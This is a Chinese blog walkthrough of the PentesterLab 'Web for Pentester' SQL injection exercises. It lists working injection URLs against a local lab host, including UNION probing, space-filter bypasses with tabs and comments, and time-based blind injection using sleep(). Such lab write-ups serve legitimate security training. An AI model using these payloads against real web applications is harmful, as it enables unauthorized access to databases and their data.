zoukankan      html  css  js  c++  java
  • 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1

    字符类型的注入,无过滤

    http://192.168.91.139/sqli/example1.php?name=root 

    http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23

    http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23

    http://192.168.91.139/sqli/example1.php?name=root' union select 1,2,3,4,5%23

    Example 2

    与example1差不多,过滤了空格,语句中存现空格就会报错

    mysql注入绕过空格过滤的方法:

    1、水平制表(HT) url编码:%09

    2、注释绕过空格   /*注释*/

    3、括号绕过空格的方法,在time based盲注中

            index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109)) 

    特点:1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作!

    http://192.168.91.139/sqli/example2.php?name=root'%09and%091=1%23

    http://192.168.91.139/sqli/example2.php?name=root'%09and%091=2%23

    http://192.168.91.139/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23

    Example 3

    在example的基础上,s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉

    可以使用example2中 /*注释*/ 绕过过滤

    http://192.168.91.139/sqli/example3.php?name=root'/**/union/**/select/**/1,2,3,4,5%23

    Example 4

    数值型的注入,过滤了单引号等,对数值型无效

    http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5

    Example 5

    与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试

    http://192.168.91.139/sqli/example5.php?id=2 and 1=1--

    http://192.168.91.139/sqli/example5.php?id=2 and 1=2--

    Example 6

    正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.

    你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123. 

    http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123

    Example 7

    解法一:

    换行 的url编码是%0a

     这边纠结了好久,最终使用了-- %23 才能注释掉后面语句

    http://192.168.91.139/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123

    解法二:

    http://192.168.91.139/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23

    Example 8

    order by `name`   报错注入出不来,用了时间盲注一个一个猜解

    http://192.168.91.139/sqli/example8.php
    ?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23

    Example 9

     与 example8类似,可以通过时间盲注进行逐一猜解

    http://192.168.91.139/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23

    最后

    欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

     

    参考链接:

    Web for Pentester II  :https://pentesterlab.com/exercises/web_for_pentester/course

    Web渗透测试攻略 [三]: http://www.2cto.com/Article/201401/275482.html

    Web渗透测试攻略[四]:http://www.tuicool.com/articles/EFV3UzF

    Web渗透测试攻略[五]:http://www.tuicool.com/articles/Iza63eM

  • 相关阅读:
    非常适合新手的一个Python爬虫项目: 打造一个英文词汇量测试脚本!
    代码遇到异常怎么办?不要慌,来看看这个!
    老司机要开车了!用Selenium+PhantomJS来抓取煎蛋网妹子图
    Python基础之格式化输出函数format()功能详解
    Python基础之常用格式化输出字符详解
    新手学python,如何才能更快升职加薪,迎娶白富美,走上人生巅峰
    ASP.NET MVC学习笔记 第二天
    ASP.NET MVC学习笔记 第一天
    ActiveMQ相关:
    WPF中使用定时器 DispatcherTimer 做TCP连接中的心跳 HeartBeat
  • 原文地址:https://www.cnblogs.com/xiaozi/p/5688969.html
Copyright © 2011-2022 走看看